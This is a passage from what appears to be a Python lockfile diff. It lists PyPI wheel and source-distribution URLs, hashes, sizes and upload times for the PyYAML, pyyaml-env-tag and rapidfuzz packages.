"https://files.pythonhosted.org/packages/ed/23/8da0bbe2ab9dcdd11f4f4557ccaf95c10b9811b13ecced089d43ce59c3c8/PyYAML-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10ce637b18caea04431ce14fabcf5c64a1c61ec9c56b071a4b7ca131ca52d44", size = 161980, upload-time = "2024-08-06T20:32:21.273Z" }, + { url = "https://files.pythonhosted.org/packages/86/0c/c581167fc46d6d6d7ddcfb8c843a4de25bdd27e4466938109ca68492292c/PyYAML-6.0.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab", size = 183873, upload-time = "2024-08-06T20:32:25.131Z" }, + { url = "https://files.pythonhosted.org/packages/a8/0c/38374f5bb272c051e2a69281d71cba6fdb983413e6758b84482905e29a5d/PyYAML-6.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725", size = 173302, upload-time = "2024-08-06T20:32:26.511Z" }, + { url = "https://files.pythonhosted.org/packages/c3/93/9916574aa8c00aa06bbac729972eb1071d002b8e158bd0e83a3b9a20a1f7/PyYAML-6.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5", size = 739154, upload-time = "2024-08-06T20:32:28.363Z" }, + { url = "https://files.pythonhosted.org/packages/95/0f/b8938f1cbd09739c6da569d172531567dbcc9789e0029aa070856f123984/PyYAML-6.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425", size = 766223, upload-time = "2024-08-06T20:32:30.058Z" }, + { url = "https://files.pythonhosted.org/packages/b9/2b/614b4752f2e127db5cc206abc23a8c19678e92b23c3db30fc86ab731d3bd/PyYAML-6.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476", size = 767542, upload-time = "2024-08-06T20:32:31.881Z" }, + { url = "https://files.pythonhosted.org/packages/d4/00/dd137d5bcc7efea1836d6264f049359861cf548469d18da90cd8216cf05f/PyYAML-6.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48", size = 731164, upload-time = "2024-08-06T20:32:37.083Z" }, + { url = "https://files.pythonhosted.org/packages/c9/1f/4f998c900485e5c0ef43838363ba4a9723ac0ad73a9dc42068b12aaba4e4/PyYAML-6.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b", size = 756611, upload-time = "2024-08-06T20:32:38.898Z" }, + { url = "https://files.pythonhosted.org/packages/df/d1/f5a275fdb252768b7a11ec63585bc38d0e87c9e05668a139fea92b80634c/PyYAML-6.0.2-cp312-cp312-win32.whl", hash = "sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4", size = 140591, upload-time = "2024-08-06T20:32:40.241Z" }, + { url = "https://files.pythonhosted.org/packages/0c/e8/4f648c598b17c3d06e8753d7d13d57542b30d56e6c2dedf9c331ae56312e/PyYAML-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8", size = 156338, upload-time = "2024-08-06T20:32:41.93Z" }, + { url = "https://files.pythonhosted.org/packages/ef/e3/3af305b830494fa85d95f6d95ef7fa73f2ee1cc8ef5b495c7c3269fb835f/PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba", size = 181309, upload-time = "2024-08-06T20:32:43.4Z" }, + { url = "https://files.pythonhosted.org/packages/45/9f/3b1c20a0b7a3200524eb0076cc027a970d320bd3a6592873c85c92a08731/PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1", size = 171679, upload-time = "2024-08-06T20:32:44.801Z" }, + { url = "https://files.pythonhosted.org/packages/7c/9a/337322f27005c33bcb656c655fa78325b730324c78620e8328ae28b64d0c/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133", size = 733428, upload-time = "2024-08-06T20:32:46.432Z" }, + { url = "https://files.pythonhosted.org/packages/a3/69/864fbe19e6c18ea3cc196cbe5d392175b4cf3d5d0ac1403ec3f2d237ebb5/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484", size = 763361, upload-time = "2024-08-06T20:32:51.188Z" }, + { url = "https://files.pythonhosted.org/packages/04/24/b7721e4845c2f162d26f50521b825fb061bc0a5afcf9a386840f23ea19fa/PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5", size = 759523, upload-time = "2024-08-06T20:32:53.019Z" }, + { url = "https://files.pythonhosted.org/packages/2b/b2/e3234f59ba06559c6ff63c4e10baea10e5e7df868092bf9ab40e5b9c56b6/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc", size = 726660, upload-time = "2024-08-06T20:32:54.708Z" }, + { url = "https://files.pythonhosted.org/packages/fe/0f/25911a9f080464c59fab9027482f822b86bf0608957a5fcc6eaac85aa515/PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652", size = 751597, upload-time = "2024-08-06T20:32:56.985Z" }, + { url = "https://files.pythonhosted.org/packages/14/0d/e2c3b43bbce3cf6bd97c840b46088a3031085179e596d4929729d8d68270/PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183", size = 140527, upload-time = "2024-08-06T20:33:03.001Z" }, + { url = "https://files.pythonhosted.org/packages/fa/de/02b54f42487e3d3c6efb3f89428677074ca7bf43aae402517bc7cca949f3/PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563", size = 156446, upload-time = "2024-08-06T20:33:04.33Z" }, +] + +[[package]] +name = "pyyaml-env-tag" +version = "1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyyaml" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c2/95/32c8c79d784552ed687c676924381c0dc88b2a0248b50a32f4b5ac0ba03c/pyyaml_env_tag-1.0.tar.gz", hash = "sha256:bc952534a872b583f66f916e2dd83e7a7b9087847f4afca6d9c957c48b258ed2", size = 4462, upload-time = "2025-05-09T18:09:14.1Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1a/8c/c35fdb193c3717bdb4dea0ea361dbe81997164e01deaa2809cc2d71aa6b6/pyyaml_env_tag-1.0-py3-none-any.whl", hash = "sha256:37f081041b8dca44ed8eb931ce0056f97de17251450f0ed08773dc2bcaf9e683", size = 4681, upload-time = "2025-05-09T18:09:12.611Z" }, +] + +[[package]] +name = "rapidfuzz" +version = "3.14.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d3/28/9d808fe62375b9aab5ba92fa9b29371297b067c2790b2d7cda648b1e2f8d/rapidfuzz-3.14.3.tar.gz", hash = "sha256:2491937177868bc4b1e469087601d53f925e8d270ccc21e07404b4b5814b7b5f", size = 57863900, upload-time = "2025-11-01T11:54:52.321Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/d1/0efa42a602ed466d3ca1c462eed5d62015c3fd2a402199e2c4b87aa5aa25/rapidfuzz-3.14.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b9fcd4d751a4fffa17aed1dde41647923c72c74af02459ad1222e3b0022da3a1", size = 1952376, upload-time = "2025-11-01T11:52:29.175Z" }, + { url = "https://files.pythonhosted.org/packages/be/00/37a169bb28b23850a164e6624b1eb299e1ad73c9e7c218ee15744e68d628/rapidfuzz-3.14.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4ad73afb688b36864a8d9b7344a9cf6da186c471e5790cbf541a635ee0f457f2", size = 1390903, upload-time = "2025-11-01T11:52:31.239Z" }, + { url = "https://files.pythonhosted.org/packages/3c/91/b37207cbbdb6eaafac3da3f55ea85287b27745cb416e75e15769b7d8abe8/rapidfuzz-3.14.3-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c5fb2d978a601820d2cfd111e2c221a9a7bfdf84b41a3ccbb96ceef29f2f1ac7", size = 1385655, upload-time = "2025-11-01T11:52:32.852Z" }, + { url = "https://files.pythonhosted.org/packages/f2/bb/ca53e518acf43430be61f23b9c5987bd1e01e74fcb7a9ee63e00f597aefb/rapidfuzz-3.14.3-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d83b8b712fa37e06d59f29a4b49e2e9e8635e908fbc21552fe4d1163db9d2a1", size = 3164708, upload-time = "2025-11-01T11:52:34.618Z" }, + { url = "https://files.pythonhosted.org/packages/df/e1/7667bf2db3e52adb13cb933dd4a6a2efc66045d26fa150fc0feb64c26d61/rapidfuzz-3.14.3-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:dc8c07801df5206b81ed6bd6c35cb520cf9b6c64b9b0d19d699f8633dc942897", size = 1221106, upload-time = "2025-11-01T11:52:36.069Z" }, + { url = "https://files.pythonhosted.org/packages/05/8a/84d9f2d46a2c8eb2ccae81747c4901fa10fe4010aade2d57ce7b4b8e02ec/rapidfuzz-3.14.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c71ce6d4231e5ef2e33caa952bfe671cb9fd42e2afb11952df9fad41d5c821f9", size = 2406048, upload-time = "2025-11-01T11:52:37.936Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a9/a0b7b7a1b81a020c034eb67c8e23b7e49f920004e295378de3046b0d99e1/rapidfuzz-3.14.3-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:0e38828d1381a0cceb8a4831212b2f673d46f5129a1897b0451c883eaf4a1747", size = 2527020, upload-time = "2025-11-01T11:52:39.657Z" }, + { url = "https://files.pythonhosted.org/packages/b4/bc/416df7d108b99b4942ba04dd4cf73c45c3aadb3ef003d95cad78b1d12eb9/rapidfuzz-3.14.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:da2a007434323904719158e50f3076a4dadb176ce43df28ed14610c773cc9825", size = 4273958, upload-time = "2025-11-01T11:52:41.017Z" }, + { url = "https://files.pythonhosted.org/packages/81/d0/b81e041c17cd475002114e0ab8800e4305e60837882cb376a621e520d70f/rapidfuzz-3.14.3-cp310-cp310-win32.whl", hash = "sha256:fce3152f94afcfd12f3dd8cf51e48fa606e3cb56719bccebe3b401f43d0714f9", size = 1725043, upload-time = "2025-11-01T11:52:42.465Z" }, + { url = "https://files.pythonhosted.org/packages/09/6b/64ad573337d81d64bc78a6a1df53a72a71d54d43d276ce0662c2e95a1f35/rapidfuzz-3.14.3-cp310-cp310-win_amd64.whl", hash = "sha256:37d3c653af15cd88592633e942f5407cb4c64184efab163c40fcebad05f25141", size = 1542273, upload-time = "2025-11-01T11:52:44.005Z" }, + { url = "https://files.pythonhosted.org/packages/f4/5e/faf76e259bc15808bc0b86028f510215c3d755b6c3a3911113079485e561/rapidfuzz-3.14.3-cp310-cp310-win_arm64.whl", hash = "sha256:cc594bbcd3c62f647dfac66800f307beaee56b22aaba1c005e9c4c40ed733923", size = 814875, upload-time = "2025-11-01T11:52:45.405Z" }, + { url = "https://files.pythonhosted.org/packages/76/25/5b0a33ad3332ee1213068c66f7c14e9e221be90bab434f0cb4defa9d6660/rapidfuzz-3.14.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:dea2d113e260a5da0c4003e0a5e9fdf24a9dc2bb9eaa43abd030a1e46ce7837d", size = 1953885, upload-time = "2025-11-01T11:52:47.75Z" }, + { url = "https://files.pythonhosted.org/packages/2d/ab/f1181f500c32c8fcf7c966f5920c7e56b9b1d03193386d19c956505c312d/rapidfuzz-3.14.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e6c31a4aa68cfa75d7eede8b0ed24b9e458447db604c2db53f358be9843d81d3", size = 1390200, upload-time = "2025-11-01T11:52:49.491Z" }, + { url = "https://files.pythonhosted.org/packages/14/2a/0f2de974ececad873865c6bb3ea3ad07c976ac293d5025b2d73325aac1d4/rapidfuzz-3.14.3-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:02821366d928e68ddcb567fed8723dad7ea3a979fada6283e6914d5858674850", size = 1389319, upload-time = "2025-11-01T11:52:51.224Z" }, + { url = "https://files.pythonhosted.org/packages/ed/69/309d8f3a0bb3031fd9b667174cc4af56000645298af7c2931be5c3d14bb4/rapidfuzz-3.14.3-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cfe8df315ab4e6db4e1be72c5170f8e66021acde22cd2f9d04d2058a9fd8162e", size = 3178495, upload-time = "2025-11-01T11:52:53.005Z" }, + { url = "https://files.pythonhosted.org/packages/10/b7/f9c44a99269ea5bf6fd6a40b84e858414b6e241288b9f2b74af470d222b1/rapidfuzz-3.14.3-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:769f31c60cd79420188fcdb3c823227fc4a6deb35cafec9d14045c7f6743acae", size = 1228443, upload-time = "2025-11-01T11:52:54.991Z" }, + { url = "https://files.pythonhosted.org/packages/f2/0a/3b3137abac7f19c9220e14cd7ce993e35071a7655e7ef697785a3edfea1a/rapidfuzz-3.14.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:54fa03062124e73086dae66a3451c553c1e20a39c077fd704dc7154092c34c63", size = 2411998, upload-time = "2025-11-01T11:52:56.629Z" }, + { url = "https://files.pythonhosted.org/packages/f3/b6/983805a844d44670eaae63831024cdc97ada4e9c62abc6b20703e81e7f9b/rapidfuzz-3.14.3-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:834d1e818005ed0d4ae38f6b87b86fad9b0a74085467ece0727d20e15077c094", size = 2530120, upload-time = "2025-11-01T11:52:58.298Z" }, + { url = "https://files.pythonhosted.org/packages/b4/cc/2c97beb2b1be2d7595d805682472f1b1b844111027d5ad89b65e16bdbaaa/rapidfuzz-3.14.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:948b00e8476a91f510dd1ec07272efc7d78c275d83b630455559671d4e33b678", size = 4283129, upload-time = "2025-11-01T11:53:00.188Z" }, + { url = "https://files.pythonhosted.org/packages/4d/03/2f0e5e94941045aefe7eafab72320e61285c07b752df9884ce88d6b8b835/rapidfuzz-3.14.3-cp311-cp311-win32.whl", hash = "sha256:43d0305c36f504232f18ea04e55f2059bb89f169d3119c4ea96a0e15b59e2a91", size = 1724224, upload-time = "2025-11-01T11:53:02.149Z" }, + { url = "https://files.pythonhosted.org/packages/cf/99/5fa23e204435803875daefda73fd61baeabc3c36b8fc0e34c1705aab8c7b/rapidfuzz-3.14.3-cp311-cp311-win_amd64.whl", hash = "sha256:ef6bf930b947bd0735c550683939a032090f1d688dfd8861d6b45307b96fd5c5", size = 1544259, upload-time = "2025-11-01T11:53:03.66Z" }, + { url = "https://files.pythonhosted.org/packages/48/35/d657b85fcc615a42661b98ac90ce8e95bd32af474603a105643963749886/rapidfuzz-3.14.3-cp311-cp311-win_arm64.whl", hash = "sha256:f3eb0ff3b75d6fdccd40b55e7414bb859a1cda77c52762c9c82b85569f5088e7", size = 814734, upload-time = "2025-11-01T11:53:05.008Z" }, + { url = "https://files.pythonhosted.org/packages/fa/8e/3c215e860b458cfbedb3ed73bc72e98eb7e0ed72f6b48099604a7a3260c2/rapidfuzz-3.14.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:685c93ea961d135893b5984a5a9851637d23767feabe414ec974f43babbd8226", size = 1945306, upload-time = "2025-11-01T11:53:06.452Z" }, + { url = "https://files.pythonhosted.org/packages/36/d9/31b33512015c899f4a6e6af64df8dfe8acddf4c8b40a4b3e0e6e1bcd00e5/rapidfuzz-3.14.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fa7c8f26f009f8c673fbfb443792f0cf8cf50c4e18121ff1e285b5e08a94fbdb", size = 1390788, upload-time = "2025-11-01T11:53:08.721Z" }, + { url = "https://files.pythonhosted.org/packages/a9/67/2ee6f8de6e2081ccd560a571d9c9063184fe467f484a17fa90311a7f4a2e/rapidfuzz-3.14.3-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:57f878330c8d361b2ce76cebb8e3e1dc827293b6abf404e67d53260d27b5d941", size = 1374580, upload-time = "2025-11-01T11:53:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/30/83/80d22997acd928eda7deadc19ccd15883904622396d6571e935993e0453a/rapidfuzz-3.14.3-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c5f545f454871e6af05753a0172849c82feaf0f521c5ca62ba09e1b382d6382", size = 3154947, upload-time = "2025-11-01T11:53:12.093Z" }, + { url = "https://files.pythonhosted.org/packages/5b/cf/9f49831085a16384695f9fb096b99662f589e30b89b4a589a1ebc1a19d34/rapidfuzz-3.14.3-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:07aa0b5d8863e3151e05026a28e0d924accf0a7a3b605da978f0359bb804df43", size = 1223872, upload-time = "2025-11-01T11:53:13.664Z" }, + { url = "https://files.pythonhosted.org/packages/c8/0f/41ee8034e744b871c2e071ef0d360686f5ccfe5659f4fd96c3ec406b3c8b/rapidfuzz-3.14.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:73b07566bc7e010e7b5bd490fb04bb312e820970180df6b5655e9e6224c137db", size = 2392512, upload-time = "2025-11-01T11:53:15.109Z" }, + { url = "https://files.pythonhosted.org/packages/da/86/280038b6b0c2ccec54fb957c732ad6b41cc1fd03b288d76545b9cf98343f/rapidfuzz-3.14.3-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6de00eb84c71476af7d3110cf25d8fe7c792d7f5fa86764ef0b4ca97e78ca3ed", size = 2521398, upload-time = "2025-11-01T11:53:17.146Z" }, + { url = "https://files.pythonhosted.org/packages/fa/7b/05c26f939607dca0006505e3216248ae2de631e39ef94dd63dbbf0860021/rapidfuzz-3.14.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d7843a1abf0091773a530636fdd2a49a41bcae22f9910b86b4f903e76ddc82dc", size = 4259416, upload-time = "2025-11-01T11:53:19.34Z" }, + { url = "https://files.pythonhosted.org/packages/40/eb/9e3af4103d91788f81111af1b54a28de347cdbed8eaa6c91d5e98a889aab/rapidfuzz-3.14.3-cp312-cp312-win32.whl", hash = "sha256:dea97ac3ca18cd3ba8f3d04b5c1fe4aa60e58e8d9b7793d3bd595fdb04128d7a", size = 1709527, upload-time = "2025-11-01T11:53:20.949Z" }, + { url = "https://files.pythonhosted.org/packages/b8/63/d06ecce90e2cf1747e29aeab9f823d21e5877a4c51b79720b2d3be7848f8/rapidfuzz-3.14.3-cp312-cp312-win_amd64.whl", hash = "sha256:b5100fd6bcee4d27f28f4e0a1c6b5127bc8ba7c2a9959cad9eab0bf4a7ab3329", size = 1538989, upload-time = "2025-11-01T11:53:22.428Z" }, + { url = "https://files.pythonhosted.org/packages/fc/6d/beee32dcda64af8128aab3ace2ccb33d797ed58c434c6419eea015fec779/rapidfuzz-3.14.3-cp312-cp312-win_arm64.whl", hash = "sha256:4e49c9e992bc5fc873bd0fff7ef16a4405130ec42f2ce3d2b735ba5d3d4eb70f", size = 811161, upload-time = "2025-11-01T11:53:23.811Z" }, + { url = "https://files.pythonhosted.org/packages/e4/4f/0d94d09646853bd26978cb3a7541b6233c5760687777fa97da8de0d9a6ac/rapidfuzz-3.14.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:dbcb726064b12f356bf10fffdb6db4b6dce5390b23627c08652b3f6e49aa56ae", size = 1939646, upload-time = "2025-11-01T11:53:25.292Z" }, + { url = "https://files.pythonhosted.org/packages/b6/eb/f96aefc00f3bbdbab9c0657363ea8437a207d7545ac1c3789673e05d80bd/rapidfuzz-3.14.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1704fc70d214294e554a2421b473779bcdeef715881c5e927dc0f11e1692a0ff", size = 1385512, upload-time = "2025-11-01T11:53:27.594Z" }, + { url = "https://files.pythonhosted.org/packages/26/34/71c4f7749c12ee223dba90017a5947e8f03731a7cc9f489b662a8e9e643d/rapidfuzz-3.14.3-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc65e72790ddfd310c2c8912b45106e3800fefe160b0c2ef4d6b6fec4e826457", size = 1373571, upload-time = "2025-11-01T11:53:29.096Z" }, + { url = "https://files.pythonhosted.org/packages/32/00/ec8597a64f2be301ce1ee3290d067f49f6a7afb226b67d5f15b56d772ba5/rapidfuzz-3.14.3-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43e38c1305cffae8472572a0584d4ffc2f130865586a81038ca3965301f7c97c", size = 3156759, upload-time = "2025-11-01T11:53:30.777Z" }, + { url = "https://files.pythonhosted.org/packages/61/d5/b41eeb4930501cc899d5a9a7b5c9a33d85a670200d7e81658626dcc0ecc0/rapidfuzz-3.14.3-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:e195a77d06c03c98b3fc06b8a28576ba824392ce40de8c708f96ce04849a052e", size = 1222067, upload-time = "2025-11-01T11:53:32.334Z" }, + { url = "https://files.pythonhosted.org/packages/2a/7d/6d9abb4ffd1027c6ed837b425834f3bed8344472eb3a503ab55b3407c721/rapidfuzz-3.14.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1b7ef2f4b8583a744338a18f12c69693c194fb6777c0e9ada98cd4d9e8f09d10", size = 2394775, upload-time = "2025-11-01T11:53:34.24Z" }, + { url = "https://files.pythonhosted.org/packages/15/ce/4f3ab4c401c5a55364da1ffff8cc879fc97b4e5f4fa96033827da491a973/rapidfuzz-3.14.3-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:a2135b138bcdcb4c3742d417f215ac2d8c2b87bde15b0feede231ae95f09ec41", size = 2526123, upload-time = "2025-11-01T11:53:35.779Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4b/54f804975376a328f57293bd817c12c9036171d15cf7292032e3f5820b2d/rapidfuzz-3.14.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:33a325ed0e8e1aa20c3e75f8ab057a7b248fdea7843c2a19ade0008906c14af0", size = 4262874, upload-time = "2025-11-01T11:53:37.866Z" }, + { url = "https://files.pythonhosted.org/packages/e9/b6/958db27d8a29a50ee6edd45d33debd3ce732e7209183a72f57544cd5fe22/rapidfuzz-3.14.3-cp313-cp313-win32.whl", hash = "sha256:8383b6d0d92f6cd008f3c9216535be215a064b2cc890398a678b56e6d280cb63", size = 1707972, upload-time = "2025-11-01T11:53:39.442Z" }, + { url = "https://files.pythonhosted.org/packages/07/75/fde1f334b0cec15b5946d9f84d73250fbfcc73c236b4bc1b25129d90876b/rapidfuzz-3.14.3-cp313-cp313-win_amd64.whl", hash = "sha256:e6b5e3036976f0fde888687d91be86d81f9ac5f7b02e218913c38285b756be6c", size = 1537011, upload-time = "2025-11-01T11:53:40.92Z" }, + { url = "https://files.pythonhosted.org/packages/2e/d7/d83fe001ce599dc7ead57ba1debf923dc961b6bdce522b741e6b8c82f55c/rapidfuzz-3.14.3-cp313-cp313-win_arm64.whl", hash = "sha256:7ba009977601d8b0828bfac9a110b195b3e4e79b350dcfa48c11269a9f1918a0", size = 810744, upload-time = "2025-11-01T11:53:42.723Z" }, + { url = "https://files.pythonhosted.org/packages/92/13/a486369e63ff3c1a58444d16b15c5feb943edd0e6c28a1d7d67cb8946b8f/rapidfuzz-3.14.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a0a28add871425c2fe94358c6300bbeb0bc2ed828ca003420ac6825408f5a424", size = 1967702, upload-time = "2025-11-01T11:53:44.554Z" }, + { url = "https://files.pythonhosted.org/packages/f1/82/efad25e260b7810f01d6b69122685e355bed78c94a12784bac4e0beb2afb/rapidfuzz-3.14.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:010e12e2411a4854b0434f920e72b717c43f8ec48d57e7affe5c42ecfa05dd0e", size = 1410702, upload-time = "2025-11-01T11:53:46.066Z" }, + { url = "https://files.pythonhosted.org/packages/ba/1a/34c977b860cde91082eae4a97ae503f43e0d84d4af301d857679b66f9869/rapidfuzz-3.14.3-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5cfc3d57abd83c734d1714ec39c88a34dd69c85474918ebc21296f1e61eb5ca8", size = 1382337, upload-time = "2025-11-01T11:53:47.62Z" }, + { url = "https://files.pythonhosted.org/packages/88/74/f50ea0e24a5880a9159e8fd256b84d8f4634c2f6b4f98028bdd31891d907/rapidfuzz-3.14.3-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:89acb8cbb52904f763e5ac238083b9fc193bed8d1f03c80568b20e4cef43a519", size = 3165563, upload-time = "2025-11-01T11:53:49.216Z" }, + { url = "https://files.pythonhosted.org/packages/e8/7a/e744359404d7737049c26099423fc54bcbf303de5d870d07d2fb1410f567/rapidfuzz-3.14.3-cp313-cp313t-manylinux_2_31_armv7l.whl", hash = "sha256:7d9af908c2f371bfb9c985bd134e295038e3031e666e4b2ade1e7cb7f5af2f1a", size = 1214727, upload-time = "2025-11-01T11:53:50.883Z" }, + { url = "https://files.pythonhosted.org/packages/d3/2e/87adfe14ce75768ec6c2b8acd0e05e85e84be4be5e3d283cdae360afc4fe/rapidfuzz-3.14.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:1f1925619627f8798f8c3a391d81071336942e5fe8467bc3c567f982e7ce2897", size = 2403349, upload-time = "2025-11-01T11:53:52.322Z" }, + { url = "https://files.pythonhosted.org/packages/70/17/6c0b2b2bff9c8b12e12624c07aa22e922b0c72a490f180fa9183d1ef2c75/rapidfuzz-3.14.3-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:152555187360978119e98ce3e8263d70dd0c40c7541193fc302e9b7125cf8f58", size = 2507596, upload-time = "2025-11-01T11:53:53.835Z" }, + { url = "https://files.pythonhosted.org/packages/c3/d1/87852a7cbe4da7b962174c749a47433881a63a817d04f3e385ea9babcd9e/rapidfuzz-3.14.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:52619d25a09546b8db078981ca88939d72caa6b8701edd8b22e16482a38e799f", size = 4273595, upload-time = "2025-11-01T11:53:55.961Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ab/1d0354b7d1771a28fa7fe089bc23acec2bdd3756efa2419f463e3ed80e16/rapidfuzz-3.14.3-cp313-cp313t-win32.whl", hash = "sha256:489ce98a895c98cad284f0a47960c3e264c724cb4cfd47a1430fa091c0c25204", size = 1757773, upload-time = "2025-11-01T11:53:57.628Z" }, + { url = "https://files.pythonhosted.org/packages/0b/0c/71ef356adc29e2bdf74cd284317b34a16b80258fa0e7e242dd92cc1e6d10/rapidfuzz-3.14.3-cp313-cp313t-win_amd64.whl", hash = "sha256:656e52b054d5b5c2524169240e50cfa080b04b1c613c5f90a2465e84888d6f15", size = 1576797, upload-time = "2025-11-01T11:53:59.455Z" }, + { url = "https://files.pythonhosted.org/packages/fe/d2/0e64fc27bb08d4304aa3d11154eb5480bcf5d62d60140a7ee984dc07468a/rapidfuzz-3.14.3-cp313-cp313t-win_arm64.whl", hash = "sha256:c7e40c0a0af02ad6e57e89f62bef8604f55a04ecae90b0ceeda591bbf5923317", size = 829940, upload-time = "2025-11-01T11:54:01.1Z" }, + { url = "https://files.pythonhosted.org/packages/32/6f/1b88aaeade83abc5418788f9e6b01efefcd1a69d65ded37d89cd1662be41/rapidfuzz-3.14.3-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:442125473b247227d3f2de807a11da6c08ccf536572d1be943f8e262bae7e4ea", size = 1942086, upload-time = "2025-11-01T11:54:02.592Z" }, + { url = "https://files.pythonhosted.org/packages/a0/2c/b23861347436cb10f46c2bd425489ec462790faaa360a54a7ede5f78de88/rapidfuzz-3.14.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1ec0c8c0c3d4f97ced46b2e191e883f8c82dbbf6d5ebc1842366d7eff13cd5a6", size = 1386993, upload-time = "2025-11-01T11:54:04.12Z" }, + { url = 